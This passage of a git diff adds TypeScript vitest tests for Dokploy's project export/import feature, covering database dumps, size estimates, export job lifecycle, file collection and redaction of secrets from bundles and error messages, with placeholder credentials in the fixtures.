local(workDir), + ); + + expect(dumps).toEqual([ + { + serviceId: "pg-1", + serviceType: "postgres", + mode: "referenceLastBackup", + destinationId: "dest-1", + keyPrefix: "pg-one/nightly/", + }, + ]); + }); + + it("skips a service with no successful backup deployment", async () => { + const tree = buildTree([ + { + postgresId: "pg-1", + appName: "pg-one", + databaseName: "db", + databaseUser: "u", + serverId: null, + backups: [{ backupId: "backup-1" }], + }, + ]); + + const { dumps } = await createDumps( + fakeDb(), + tree as any, + { ...baseScope, dumps: { mode: "referenceLastBackup" } }, + local(workDir), + ); + + expect(dumps).toHaveLength(0); + }); +}); diff --git a/apps/dokploy/__test__/export-import/estimate.test.ts b/apps/dokploy/__test__/export-import/estimate.test.ts new file mode 100644 index 000000000..e5c32787f --- /dev/null +++ b/apps/dokploy/__test__/export-import/estimate.test.ts @@ -0,0 +1,118 @@ +import type { ExportScope } from "@dokploy/server/services/project-export-import"; +import { + buildDatabaseSizeCommand, + buildDirectorySizeCommand, + estimateSizes, +} from "@dokploy/server/services/project-export-import"; +import { describe, expect, it } from "vitest"; + +const scope: ExportScope = { + includeEnvSecrets: true, + shared: {}, + files: { + applicationSources: true, + composeFiles: true, + traefikRaw: true, + customCertificates: true, + }, + dumps: { mode: "embed" }, + includeBackupSchedules: true, +}; + +const tree = { + projectId: "project-1", + name: "p", + organizationId: "org-1", + env: "", + environments: [ + { + environmentId: "env-1", + name: "production", + env: "", + applications: [ + { applicationId: "app-1", appName: "app-one", serverId: null }, + ], + compose: [ + { composeId: "c-1", appName: "compose-one", serverId: "srv-1" }, + ], + postgres: [ + { + postgresId: "pg-1", + appName: "pg-one", + serverId: null, + databaseName: "mydb", + databaseUser: "me", + }, + ], + mysql: [], + mariadb: [], + mongo: [], + redis: [{ redisId: "r-1", appName: "redis-one", serverId: null }], + libsql: [], + }, + ], +}; + +const pathsFn = (isServer = false) => + ({ + APPLICATIONS_PATH: isServer ? "/remote/apps" : "/local/apps", + COMPOSE_PATH: isServer ? "/remote/compose" : "/local/compose", + }) as never; + +describe("estimateSizes", () => { + it("sums database and file sizes, keyed to the right server and path", async () => { + const calls: [string | null, string][] = []; + const sizes = await estimateSizes(tree as never, scope, { + pathsFn, + probe: async (serverId, command) => { + calls.push([serverId, command]); + if (command.includes("pg_database_size")) return "1048576\n"; + if (command.includes("/remote/compose/compose-one")) return "2048"; + if (command.includes("/local/apps/app-one")) return "4096"; + throw new Error("unexpected"); + }, + }); + expect(sizes).toEqual({ + estimatedDumpBytes: 1048576, + estimatedFilesBytes: 6144, + }); + expect(calls.map(([serverId]) => serverId)).toEqual([null, null, "srv-1"]); + expect(calls.some(([, c]) => c.includes("redis"))).toBe(false); + }); + + it("counts a failing probe as zero instead of failing the preview", async () => { + const sizes = await estimateSizes(tree as never, scope, { + pathsFn, + probe: async () => { + throw new Error("container not running"); + }, + }); + expect(sizes).toEqual({ estimatedDumpBytes: 0, estimatedFilesBytes: 0 }); + }); +}); + +describe("size command builders", () => { + it("passes database credentials as env vars, never inside the container script", () => { + const command = buildDatabaseSizeCommand("mariadb", { + appName: "db-one", + databaseName: "shop", + databaseUser: "shop", + databasePassword: "s3cret'quote", + }) as string; + const [outer, inner] = command.split(" sh -c "); + expect(outer).toContain("-e DB_PASS="); + expect(inner).toContain('--password="$DB_PASS"'); + expect(inner).not.toContain("s3cret"); + expect(inner).not.toContain("\\$"); + }); + + it("has no size probe for redis", () => { + expect(buildDatabaseSizeCommand("redis", { appName: "x" })).toBeUndefined(); + }); + + it("quotes the directory path", () => { + expect(buildDirectorySizeCommand("/etc/dokploy/apps/my app")).toBe( + "du -sk '/etc/dokploy/apps/my app' | awk '{print $1*1024}'", + ); + }); +}); diff --git a/apps/dokploy/__test__/export-import/export-job.test.ts b/apps/dokploy/__test__/export-import/export-job.test.ts new file mode 100644 index 000000000..5fb4628c2 --- /dev/null +++ b/apps/dokploy/__test__/export-import/export-job.test.ts @@ -0,0 +1,348 @@ +import { existsSync } from "node:fs"; +import { mkdtemp, rm, writeFile } from "node:fs/promises"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; +import type { + ExportScope, + TransferDb, +} from "@dokploy/server/services/project-export-import"; +import { + cancelExport, + cleanupExpiredExports, + createExportJob, + getExportJob, + runExport, + runExportBatch, +} from "@dokploy/server/services/project-export-import"; +import { TRPCError } from "@trpc/server"; +import { afterEach, beforeEach, describe, expect, it } from "vitest"; + +let root: string; + +beforeEach(async () => { + root = await mkdtemp(join(tmpdir(), "transfer-export-job-")); +}); + +afterEach(async () => { + await rm(root, { recursive: true, force: true }); +}); + +const fakePaths = (_isServer: boolean) => ({ + BASE_PATH: root, + MAIN_TRAEFIK_PATH: join(root, "traefik"), + DYNAMIC_TRAEFIK_PATH: join(root, "traefik", "dynamic"), + LOGS_PATH: join(root, "logs"), + APPLICATIONS_PATH: join(root, "applications"), + COMPOSE_PATH: join(root, "compose"), + SSH_PATH: join(root, "ssh"), + CERTIFICATES_PATH: join(root, "traefik", "dynamic", "certificates"), + MONITORING_PATH: join(root, "monitoring"), + REGISTRY_PATH: join(root, "registry"), + SCHEDULES_PATH: join(root, "schedules"), + VOLUME_BACKUPS_PATH: join(root, "volume-backups"), + VOLUME_BACKUP_LOCK_PATH: join(root, "volume-backup-lock"), + PATCH_REPOS_PATH: join(root, "patch-repos"), + PROJECT_EXPORT_IMPORT_PATH: join(root, "transfer"), +}); + +const emptyProjectTree = { + projectId: "project-1", + name: "my-project", + organizationId: "org-1", + env: "", + environments: [], +}; + +const fakeDb = (): TransferDb => + ({ + query: { + projects: { findFirst: async () => emptyProjectTree }, + environments: { findFirst: async () => undefined }, + schedules: { findMany: async () => [] }, + volumeBackups: { findMany: async () => [] }, + }, + }) as any as TransferDb; + +const baseScope: ExportScope = { + includeEnvSecrets: true, + shared: {}, + files: { + applicationSources: true, + composeFiles: true, + traefikRaw: true, + customCertificates: true, + }, + dumps: { mode: "embed" }, + includeBackupSchedules: true, +}; + +const waitForStatus = async ( + exportId: string, + target: "done" | "error", + timeoutMs = 5000, +) => { + const start = Date.now(); + while (Date.now() - start < timeoutMs) { + const job = getExportJob(exportId); + if (job?.status === target || job?.status === "error") { + return job; + } + await new Promise((resolve) => setTimeout(resolve, 20)); + } + throw new Error( + `Timed out waiting for export ${exportId} to reach ${target}`, + ); +}; + +describe("runExport", () => { + it("produces a downloadable bundle for an (empty) project and issues a download token", async () => { + const { exportId } = runExport( + { + source: { kind: "project", id: "project-1" }, + scope: baseScope, + passphrase: "correct-horse-battery-staple", + }, + { + db: fakeDb(), + userId: "user-1", + userEmail: "a@b.com", + organizationId: "org-1", + dokployVersion: "1.0.0-test", + pathsFn: fakePaths as any, + }, + ); + + const job = await waitForStatus(exportId, "done"); + expect(job?.status).toBe("done"); + expect(job?.bundle?.path).toBeDefined(); + expect(existsSync(job?.bundle?.path as string)).toBe(true); + expect(job?.downloadToken).toBeDefined(); + expect(job?.size).toBeGreaterThan(0); + }); + + it("attaches dump warnings to the finished job when an embedded dump fails", async () => { + const tree = { + ...emptyProjectTree, + environments: [ + { + environmentId: "env-1", + name: "production", + env: "", + applications: [], + compose: [], + postgres: [ + { + postgresId: "pg-1", + name: "pg", + appName: "pg-one", + databaseName: "db", + databaseUser: "u", + databasePassword: "p", + serverId: null, + backups: [], + mounts: [], + }, + ], + mysql: [], + mariadb: [], + mongo: [], + redis: [], + libsql: [], + }, + ], + }; + const db = { + query: { + projects: { findFirst: async () => tree }, + environments: { findFirst: async () => undefined }, + schedules: { findMany: async () => [] }, + volumeBackups: { findMany: async () => [] }, + applications: { + findMany: async () => [], + findFirst: async () => undefined, + }, + }, + } as any as TransferDb; + + const { exportId } = runExport( + { + source: { kind: "project", id: "project-1" }, + scope: baseScope, + passphrase: "correct-horse-battery-staple", + }, + { + db, + userId: "user-1", + userEmail: "a@b.com", + organizationId: "org-1", + dokployVersion: "1.0.0-test", + pathsFn: fakePaths as any, + }, + ); + + const job = await waitForStatus(exportId, "done"); + expect(job?.status).toBe("done"); + expect(job?.warnings?.map((warning) => warning.code)).toEqual([ + "DUMP_FAILED", + ]); + expect(job?.message).toMatch(/^Export complete with 1 warning\(s\)/); + }); + + it("gives two concurrent exports independent exportIds and workDirs", async () => { + const first = runExport( + { + source: { kind: "project", id: "project-1" }, + scope: baseScope, + passphrase: "correct-horse-battery-staple", + }, + { + db: fakeDb(), + userId: "user-1", + userEmail: "a@b.com", + organizationId: "org-1", + dokployVersion: "1.0.0-test", + pathsFn: fakePaths as any, + }, + ); + const second = runExport( + { + source: { kind: "project", id: "project-1" }, + scope: baseScope, + passphrase: "correct-horse-battery-staple", + }, + { + db: fakeDb(), + userId: "user-1", + userEmail: "a@b.com", + organizationId: "org-1", + dokployVersion: "1.0.0-test", + pathsFn: fakePaths as any, + }, + ); + + expect(first.exportId).not.toBe(second.exportId); + + const [job1, job2] = await Promise.all([ + waitForStatus(first.exportId, "done"), + waitForStatus(second.exportId, "done"), + ]); + expect(job1?.bundle?.path).not.toBe(job2?.bundle?.path); + expect(existsSync(job1?.bundle?.path as string)).toBe(true); + expect(existsSync(job2?.bundle?.path as string)).toBe(true); + }); +}); + +describe("runExportBatch", () => { + it("runs the exports one after another and finishes every job", async () => { + const ctx = { + db: fakeDb(), + userId: "user-1", + userEmail: "a@b.com", + organizationId: "org-1", + dokployVersion: "1.0.0-test", + pathsFn: fakePaths as any, + }; + const input = { + source: { kind: "project" as const, id: "project-1" }, + scope: baseScope, + passphrase: "correct-horse-battery-staple", + }; + const { exportIds } = runExportBatch([input, input], ctx); + expect(exportIds).toHaveLength(2); + + const first = await waitForStatus(exportIds[0] as string, "done"); + const second = await waitForStatus(exportIds[1] as string, "done"); + expect(first?.bundle?.path).not.toBe(second?.bundle?.path); + expect(existsSync(first?.bundle?.path as string)).toBe(true); + expect(existsSync(second?.bundle?.path as string)).toBe(true); + }, 30_000); + + it("restarts each job's TTL when it finishes, not when the batch was queued", async () => { + const input = { + source: { kind: "project" as const, id: "project-1" }, + scope: baseScope, + passphrase: "correct-horse-battery-staple", + }; + const { exportIds } = runExportBatch([input, input], { + db: fakeDb(), + userId: "user-1", + userEmail: "a@b.com", + organizationId: "org-1", + dokployVersion: "1.0.0-test", + pathsFn: fakePaths as any, + }); + const queuedAt = getExportJob(exportIds[1] as string)?.createdAt as number; + + const first = await waitForStatus(exportIds[0] as string, "done"); + const second = await waitForStatus(exportIds[1] as string, "done"); + expect(second?.createdAt).toBeGreaterThan(queuedAt); + expect(second?.createdAt).toBeGreaterThanOrEqual( + first?.createdAt as number, + ); + }, 30_000); +}); + +describe("cancelExport (T-6.7)", () => { + it("refuses to cancel while the export is actually running", async () => { + const job = createExportJob("cancel-running-1", "user-1", "org-1"); + job.status = "dumping"; + + await expect(cancelExport("cancel-running-1")).rejects.toThrow(TRPCError); + expect(getExportJob("cancel-running-1")?.status).toBe("dumping"); + }); + + it("allows cancelling once the export has reached a terminal status", async () => { + const job = createExportJob("cancel-done-1", "user-1", "org-1"); + job.status = "done"; + + await cancelExport("cancel-done-1"); + expect(getExportJob("cancel-done-1")).toBeUndefined(); + }); +}); + +describe("cleanupExpiredExports", () => { + it("deletes expired jobs and their bundle files", async () => { + const job = createExportJob("expired-1", "user-1", "org-1"); + const bundlePath = join(root, "expired-1.dokploy.tar.gz"); + await writeFile(bundlePath, "fake bundle"); + job.workspace = { serverId: null, path: join(root, "expired-1") }; + job.bundle = { serverId: null, path: bundlePath }; + job.status = "done"; + + const farFuture = Date.now() + 2 * 60 * 60 * 1000; + const expired = await cleanupExpiredExports(farFuture); + + expect(expired.map((j) => j.exportId)).toContain("expired-1"); + expect(getExportJob("expired-1")).toBeUndefined(); + expect(existsSync(bundlePath)).toBe(false); + }); + + it("leaves fresh jobs untouched", async () => { + createExportJob("fresh-1", "user-1", "org-1"); + const expired = await cleanupExpiredExports(Date.now()); + expect(expired.map((j) => j.exportId)).not.toContain("fresh-1"); + expect(getExportJob("fresh-1")).toBeDefined(); + }); + + it("leaves an active (non-terminal status) job alone even past the TTL", async () => { + const job = createExportJob("active-past-ttl-1", "user-1", "org-1"); + job.status = "dumping"; + + const farFuture = Date.now() + 2 * 60 * 60 * 1000; + const expired = await cleanupExpiredExports(farFuture); + + expect(expired.map((j) => j.exportId)).not.toContain("active-past-ttl-1"); + expect(getExportJob("active-past-ttl-1")).toBeDefined(); + }); + + it("does clean up a terminal-status job once it's past the TTL", async () => { + const job = createExportJob("terminal-past-ttl-1", "user-1", "org-1"); + job.status = "error"; + + const farFuture = Date.now() + 2 * 60 * 60 * 1000; + const expired = await cleanupExpiredExports(farFuture); + + expect(expired.map((j) => j.exportId)).toContain("terminal-past-ttl-1"); + expect(getExportJob("terminal-past-ttl-1")).toBeUndefined(); + }); +}); diff --git a/apps/dokploy/__test__/export-import/export.test.ts b/apps/dokploy/__test__/export-import/export.test.ts new file mode 100644 index 000000000..66217fe5f --- /dev/null +++ b/apps/dokploy/__test__/export-import/export.test.ts @@ -0,0 +1,276 @@ +import { mkdtemp, readdir, readFile, rm } from "node:fs/promises"; +import { tmpdir } from "node:os"; +import { join, relative } from "node:path"; +import type { + ExportScope, + TransferDb, +} from "@dokploy/server/services/project-export-import"; +import { + capture, + detectRequirements, + detectWarnings, + manifestSchema, + serialize, +} from "@dokploy/server/services/project-export-import"; +import { execAsync } from "@dokploy/server/utils/process/execAsync"; +import { afterEach, beforeEach, describe, expect, it } from "vitest"; + +const local = (path: string) => ({ serverId: null, path }); + +const PASSPHRASE = "correct-horse-battery-staple"; +const SECRET_VALUES = [ + "hunter2-vault-secret-placeholder", + "realdbpassword123", + "registrypassword456", + "basicauthpassword789", +]; + +const application = { + applicationId: "app-1", + name: "my-app", + appName: "my-app-abc123", + environmentId: "env-1", + env: "DATABASE_URL=postgres://user:${{vault.prod.DB_PASS}}@db/mydb", + buildArgs: null, + buildSecrets: null, + previewEnv: null, + serverId: null, + buildServerId: null, + githubId: null, + gitlabId: null, + giteaId: null, + bitbucketId: null, + refreshToken: "webhook-token-should-never-appear", + registryId: "registry-1", + buildRegistryId: null, + rollbackRegistryId: null, + customGitSSHKeyId: null, + customGitSSHKey: null, + networkIds: [], + owner: null, + repository: null, + sourceType: "docker", + autoDeploy: false, + isPreviewDeploymentsActive: false, + createdAt: "2024-01-01T00:00:00.000Z", + domains: [], + mounts: [], + redirects: [], + security: [ + { + securityId: "sec-1", + username: "admin", + password: "basicauthpassword789", + createdAt: "2024-01-01", + }, + ], + ports: [], + schedules: [], + volumeBackups: [], +}; + +const postgres = { + postgresId: "pg-1", + name: "my-db", + appName: "my-db-xyz789", + environmentId: "env-1", + env: "", + databasePassword: "realdbpassword123", + serverId: null, + createdAt: "2024-01-01T00:00:00.000Z", + mounts: [], + backups: [], + volumeBackups: [], +}; + +const emptyServiceArrays = { + mysql: [], + mariadb: [], + mongo: [], + redis: [], + libsql: [], + compose: [], +}; + +const projectTree = { + projectId: "project-1", + name: "my-project", + organizationId: "org-1", + env: "", + createdAt: "2024-01-01T00:00:00.000Z", + environments: [ + { + environmentId: "env-1", + name: "production", + projectId: "project-1", + env: "", + isDefault: true, + createdAt: "2024-01-01T00:00:00.000Z", + applications: [application], + postgres: [postgres], + ...emptyServiceArrays, + }, + ], +}; + +const fakeDb = (): TransferDb => + ({ + query: { + projects: { findFirst: async () => projectTree }, + environments: { findFirst: async () => undefined }, + applications: { findMany: async () => [application] }, + schedules: { findMany: async () => [] }, + volumeBackups: { findMany: async () => [] }, + vaultProvider: { + findMany: async () => [ + { + vaultProviderId: "vault-1", + name: "prod", + providerType: "hashicorp", + organizationId: "org-1", + }, + ], + }, + registry: { + findMany: async () => [ + { + registryId: "registry-1", + registryUrl: "https://registry.example.com", + imagePrefix: "acme", + password: "registrypassword456", + }, + ], + findFirst: async () => ({ + registryId: "registry-1", + registryUrl: "https://registry.example.com", + imagePrefix: "acme", + password: "registrypassword456", + }), + }, + destinations: { findMany: async () => [] }, + network: { findMany: async () => [] }, + certificates: { findMany: async () => [] }, + }, + }) as any as TransferDb; + +const baseScope: ExportScope = { + includeEnvSecrets: true, + shared: { registry: "value" }, + files: { + applicationSources: false, + composeFiles: false, + traefikRaw: false, + customCertificates: false, + }, + dumps: { mode: "none" }, + includeBackupSchedules: true, +}; + +const walkFiles = async (dir: string, base = dir): Promise => { + const entries = await readdir(dir, { withFileTypes: true }); + const files: string[] = []; + for (const entry of entries) { + const full = join(dir, entry.name); + if (entry.isDirectory()) { + files.push(...(await walkFiles(full, base))); + } else { + files.push(relative(base, full)); + } + } + return files; +}; + +let workDir: string; +let outDir: string; + +beforeEach(async () => { + workDir = await mkdtemp(join(tmpdir(), "transfer-export-integration-work-")); + outDir = await mkdtemp(join(tmpdir(), "transfer-export-integration-out-")); +}); + +afterEach(async () => { + await rm(workDir, { recursive: true, force: true }); + await rm(outDir, { recursive: true, force: true }); +}); + +describe("export integration: capture -> serialize", () => { + it("produces a valid, checksummed, secret-free bundle from a realistic project", async () => { + const db = fakeDb(); + const captureResult = await capture( + db, + { kind: "project", id: "project-1" }, + baseScope, + { + detectRequirements: (tree, scope) => + detectRequirements(db, tree, scope), + detectWarnings: (tree, scope) => detectWarnings(tree, scope), + }, + ); + + expect(captureResult.requirements.some((r) => r.kind === "vault")).toBe( + true, + ); + expect(captureResult.requirements.some((r) => r.kind === "registry")).toBe( + true, + ); + + const bundlePath = join(outDir, "bundle.dokploy.tar.gz"); + await serialize( + { + resources: captureResult.resources, + inventory: captureResult.inventory, + requirements: captureResult.requirements, + warnings: captureResult.warnings, + dumps: [], + scope: baseScope, + organizationId: "org-1", + dokployVersion: "1.0.0-test", + exportedBy: { userId: "user-1", email: "a@b.com" }, + }, + captureResult.secretsPlain, + PASSPHRASE, + local(workDir), + local(bundlePath), + ); + + const extractDir = join(outDir, "extracted"); + await execAsync( + `mkdir -p "${extractDir}" && tar -xzf "${bundlePath}" -C "${extractDir}"`, + ); + + const manifestRaw = JSON.parse( + await readFile(join(extractDir, "manifest.json"), "utf8"), + ); + const manifestResult = manifestSchema.safeParse(manifestRaw); + expect(manifestResult.success).toBe(true); + + const relativeFiles = await walkFiles(extractDir); + expect(relativeFiles.sort()).toEqual([ + "inventory.json", + "manifest.json", + "payload.enc", + "requirements.json", + "warnings.json", + ]); + + const inventory = JSON.parse( + await readFile(join(extractDir, "inventory.json"), "utf8"), + ); + expect(inventory.totals.application).toBe(1); + expect(inventory.totals.postgres).toBe(1); + + const requirements = JSON.parse( + await readFile(join(extractDir, "requirements.json"), "utf8"), + ); + expect(Array.isArray(requirements)).toBe(true); + expect(requirements.length).toBeGreaterThan(0); + + for (const relativePath of relativeFiles) { + const bytes = await readFile(join(extractDir, relativePath)); + for (const secret of SECRET_VALUES) { + expect(bytes.includes(secret)).toBe(false); + } + expect(bytes.includes("webhook-token-should-never-appear")).toBe(false); + } + }); +}); diff --git a/apps/dokploy/__test__/export-import/files.test.ts b/apps/dokploy/__test__/export-import/files.test.ts new file mode 100644 index 000000000..eeba9508a --- /dev/null +++ b/apps/dokploy/__test__/export-import/files.test.ts @@ -0,0 +1,414 @@ +import { existsSync, readFileSync } from "node:fs"; +import { mkdir, mkdtemp, rm, writeFile } from "node:fs/promises"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; +import type { + ExportScope, + Requirement, +} from "@dokploy/server/services/project-export-import"; +import { collectFiles } from "@dokploy/server/services/project-export-import"; +import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; + +const local = (path: string) => ({ serverId: null, path }); + +const { failPullBox } = vi.hoisted(() => ({ + failPullBox: { value: false }, +})); + +vi.mock("@dokploy/server/utils/process/execAsync", async (importOriginal) => { + const actual = + await importOriginal< + typeof import("@dokploy/server/utils/process/execAsync") + >(); + return { + ...actual, + execAsync: vi.fn(async (command: string, options?: unknown) => { + if (failPullBox.value && command.includes("tar -czf")) { + const { ExecError } = await import( + "@dokploy/server/utils/process/ExecError" + ); + throw new ExecError(`Command failed: ${command}`, { + command, + stderr: "no such file or directory", + exitCode: 1, + }); + } + return actual.execAsync(command, options as undefined); + }), + }; +}); + +const baseScope: ExportScope = { + includeEnvSecrets: true, + shared: {}, + files: { + applicationSources: true, + composeFiles: true, + traefikRaw: true, + customCertificates: true, + }, + dumps: { mode: "none" }, + includeBackupSchedules: true, +}; + +const emptyServiceArrays = { + postgres: [], + mysql: [], + mariadb: [], + mongo: [], + redis: [], + libsql: [], +}; + +let root: string; +let workDir: string; + +const fakePaths = (_isServer: boolean) => ({ + BASE_PATH: root, + MAIN_TRAEFIK_PATH: join(root, "traefik"), + DYNAMIC_TRAEFIK_PATH: join(root, "traefik", "dynamic"), + LOGS_PATH: join(root, "logs"), + APPLICATIONS_PATH: join(root, "applications"), + COMPOSE_PATH: join(root, "compose"), + SSH_PATH: join(root, "ssh"), + CERTIFICATES_PATH: join(root, "traefik", "dynamic", "certificates"), + MONITORING_PATH: join(root, "monitoring"), + REGISTRY_PATH: join(root, "registry"), + SCHEDULES_PATH: join(root, "schedules"), + VOLUME_BACKUPS_PATH: join(root, "volume-backups"), + VOLUME_BACKUP_LOCK_PATH: join(root, "volume-backup-lock"), + PATCH_REPOS_PATH: join(root, "patch-repos"), +}); + +beforeEach(async () => { + root = await mkdtemp(join(tmpdir(), "transfer-files-root-")); + workDir = await mkdtemp(join(tmpdir(), "transfer-files-work-")); +}); + +afterEach(async () => { + await rm(root, { recursive: true, force: true }); + await rm(workDir, { recursive: true, force: true }); +}); + +const buildTree = (application: Record) => ({ + projectId: "project-1", + name: "my-project", + organizationId: "org-1", + env: "", + environments: [ + { + environmentId: "env-1", + name: "production", + env: "", + applications: [application], + compose: [], + ...emptyServiceArrays, + }, + ], +}); + +describe("collectFiles / application sources", () => { + it("excludes .git and node_modules for a github-sourced app, and keeps other files", async () => { + const appDir = join(root, "applications", "app-one"); + await mkdir(join(appDir, ".git"), { recursive: true }); + await writeFile(join(appDir, ".git", "HEAD"), "ref: refs/heads/main"); + await mkdir(join(appDir, "node_modules", "lodash"), { recursive: true }); + await writeFile(join(appDir, "node_modules", "lodash", "index.js"), "x"); + await mkdir(join(appDir, "code"), { recursive: true }); + await writeFile(join(appDir, "code", "main.go"), "package main"); + await writeFile(join(appDir, "Dockerfile"), "FROM node"); + + const tree = buildTree({ + applicationId: "app-1", + appName: "app-one", + serverId: null, + sourceType: "github", + domains: [], + }); + + await collectFiles(tree as any, baseScope, [], local(workDir), { + pathsFn: fakePaths as any, + }); + + const dest = join(workDir, "files", "applications", "app-one"); + expect(existsSync(join(dest, "Dockerfile"))).toBe(true); + expect(existsSync(join(dest, ".git"))).toBe(false); + expect(existsSync(join(dest, "node_modules"))).toBe(false); + expect(existsSync(join(dest, "code"))).toBe(false); + }); + + it("keeps code/ for a drop-sourced app (no repo to re-clone from)", async () => { + const appDir = join(root, "applications", "app-drop"); + await mkdir(join(appDir, "code"), { recursive: true }); + await writeFile(join(appDir, "code", "main.go"), "package main"); + + const tree = buildTree({ + applicationId: "app-drop", + appName: "app-drop", + serverId: null, + sourceType: "drop", + domains: [], + }); + + await collectFiles(tree as any, baseScope, [], local(workDir), { + pathsFn: fakePaths as any, + }); + + const dest = join(workDir, "files", "applications", "app-drop"); + expect(existsSync(join(dest, "code", "main.go"))).toBe(true); + }); + + it("does nothing when applicationSources is excluded from scope", async () => { + const appDir = join(root, "applications", "app-one"); + await mkdir(appDir, { recursive: true }); + await writeFile(join(appDir, "Dockerfile"), "FROM node"); + + const tree = buildTree({ + applicationId: "app-1", + appName: "app-one", + serverId: null, + sourceType: "github", + domains: [], + }); + + await collectFiles( + tree as any, + { + ...baseScope, + files: { ...baseScope.files, applicationSources: false }, + }, + [], + local(workDir), + { pathsFn: fakePaths as any }, + ); + + expect(existsSync(join(workDir, "files", "applications", "app-one"))).toBe( + false, + ); + }); + + it("does not throw when the application source directory doesn't exist (e.g. docker image source)", async () => { + const tree = buildTree({ + applicationId: "app-1", + appName: "does-not-exist", + serverId: null, + sourceType: "docker", + domains: [], + }); + + await expect( + collectFiles(tree as any, baseScope, [], local(workDir), { + pathsFn: fakePaths as any, + }), + ).resolves.toEqual({ warnings: [] }); + }); +}); + +describe("collectFiles / traefik raw", () => { + it("collects only the application's own dynamic yml file", async () => { + await mkdir(join(root, "applications", "app-one"), { recursive: true }); + await mkdir(join(root, "traefik", "dynamic"), { recursive: true }); + await writeFile( + join(root, "traefik", "dynamic", "app-one.yml"), + "http:\n routers: {}", + ); + await writeFile( + join(root, "traefik", "dynamic", "app-two.yml"), + "http:\n routers: unrelated", + ); + + const tree = buildTree({ + applicationId: "app-1", + appName: "app-one", + serverId: null, + sourceType: "docker", + domains: [], + }); + + await collectFiles( + tree as any, + { + ...baseScope, + files: { + applicationSources: false, + composeFiles: false, + traefikRaw: true, + customCertificates: false, + }, + }, + [], + local(workDir), + { pathsFn: fakePaths as any }, + ); + + const collected = join(workDir, "files", "traefik", "app-one.yml"); + expect(existsSync(collected)).toBe(true); + expect(readFileSync(collected, "utf8")).toBe("http:\n routers: {}"); + expect(existsSync(join(workDir, "files", "traefik", "app-two.yml"))).toBe( + false, + ); + }); + + it("leaves no traefik directory behind when the app has no dynamic yml", async () => { + const tree = buildTree({ + applicationId: "app-1", + appName: "app-one", + serverId: null, + sourceType: "docker", + domains: [], + }); + + await collectFiles( + tree as any, + { + ...baseScope, + files: { + applicationSources: false, + composeFiles: false, + traefikRaw: true, + customCertificates: false, + }, + }, + [], + local(workDir), + { pathsFn: fakePaths as any }, + ); + + expect(existsSync(join(workDir, "files"))).toBe(false); + }); +}); + +describe("collectFiles / custom certificates (T-6.18)", () => { + const emptyTree = buildTree({ + applicationId: "app-1", + appName: "app-one", + serverId: null, + sourceType: "docker", + domains: [], + }); + + it("pulls a local certificate (serverId: null) from CERTIFICATES_PATH on the local host", async () => { + const certDir = join(root, "traefik", "dynamic", "certificates", "cert-1"); + await mkdir(certDir, { recursive: true }); + await writeFile(join(certDir, "cert.pem"), "local cert contents"); + + const certRequirement: Requirement = { + kind: "certificate", + originalId: "cert-1", + configIncluded: false, + usedBy: [], + fingerprint: "abc123", + serverId: null, + }; + + await collectFiles( + emptyTree as any, + { + ...baseScope, + files: { + applicationSources: false, + composeFiles: false, + traefikRaw: false, + customCertificates: true, + }, + }, + [certRequirement], + local(workDir), + { pathsFn: fakePaths as any }, + ); + + const collected = join( + workDir, + "files", + "certificates", + "cert-1", + "cert.pem", + ); + expect(existsSync(collected)).toBe(true); + expect(readFileSync(collected, "utf8")).toBe("local cert contents"); + }); + + it("uses the certificate's own serverId (not local) when it's hosted on a remote server", async () => { + const certRequirement: Requirement = { + kind: "certificate", + originalId: "cert-2", + configIncluded: false, + usedBy: [], + fingerprint: "def456", + serverId: "server-1", + }; + + const messages: string[] = []; + await collectFiles( + emptyTree as any, + { + ...baseScope, + files: { + applicationSources: false, + composeFiles: false, + traefikRaw: false, + customCertificates: true, + }, + }, + [certRequirement], + local(workDir), + { pathsFn: fakePaths as any, emit: (message) => messages.push(message) }, + ); + + expect(messages.some((m) => m.includes("server server-1"))).toBe(true); + expect( + existsSync(join(workDir, "files", "certificates", "cert-2", "cert.pem")), + ).toBe(false); + }); +}); + +describe("collectFiles / skip messages are redacted (T-10.9)", () => { + afterEach(() => { + failPullBox.value = false; + }); + + it("reports the exit code and stderr, not the raw command, when a local pull fails", async () => { + const appDir = join(root, "applications", "app-one"); + await mkdir(appDir, { recursive: true }); + await writeFile(join(appDir, "Dockerfile"), "FROM node"); + + failPullBox.value = true; + + const tree = buildTree({ + applicationId: "app-1", + appName: "app-one", + serverId: null, + sourceType: "docker", + domains: [], + }); + + const messages: string[] = []; + const { warnings } = await collectFiles( + tree as any, + { + ...baseScope, + files: { + applicationSources: true, + composeFiles: false, + traefikRaw: false, + customCertificates: false, + }, + }, + [], + local(workDir), + { pathsFn: fakePaths as any, emit: (message) => messages.push(message) }, + ); + + expect(messages).toHaveLength(1); + expect(messages[0]).toContain("exit code 1"); + expect(messages[0]).toContain("no such file or directory"); + expect(messages[0]).not.toContain("tar -czf"); + expect(existsSync(join(workDir, "files"))).toBe(false); + expect(warnings).toHaveLength(1); + expect(warnings[0]?.code).toBe("FILE_PULL_FAILED"); + expect(warnings[0]?.message).toBe(messages[0]); + expect(warnings[0]?.affected).toContainEqual( + expect.objectContaining({ serviceId: "app-1" }), + ); + }); +}); diff --git a/apps/dokploy/__test__/export-import/import-from-destination.test.ts b/apps/dokploy/__test__/export-import/import-from-destination.test.ts new file mode 100644 index 000000000..c4eef3ac8 --- /dev/null +++ b/apps/dokploy/__test__/export-import/import-from-destination.test.ts @@ -0,0 +1,83 @@ +import { ExecError } from "@dokploy/server/utils/process/execAsync"; +import { describe, expect, it, vi } from "vitest"; + +vi.mock( + "@dokploy/server/services/project-export-import", + async (importOriginal) => { + const actual = + await importOriginal< + typeof import("@dokploy/server/services/project-export-import") + >(); + const execError = (command: string) => + new ExecError(`Command execution failed: Command failed: ${command}`, { + command, + stderr: "NoSuchKey: The specified key does not exist", + exitCode: 1, + }); + return { + ...actual, + assertTransferPermission: vi.fn(async () => ({ role: "owner" })), + downloadBundleFromDestination: vi.fn(async () => { + throw execError( + "rclone copyto --s3-secret-access-key=realsecretkey789 :s3:mybucket/key.tar.gz /tmp/bundle.tar.gz", + ); + }), + listBundlesUnderPrefix: vi.fn(async () => { + throw execError( + "rclone lsjson --s3-secret-access-key=realsecretkey789 :s3:mybucket", + ); + }), + }; + }, +); + +vi.mock("@dokploy/server/db", () => ({ + db: { + query: { + destinations: { + findFirst: vi.fn(async () => ({ + destinationId: "destination-1", + organizationId: "org-1", + bucket: "mybucket", + })), + }, + }, + }, +})); + +const { projectExportImportRouter } = await import( + 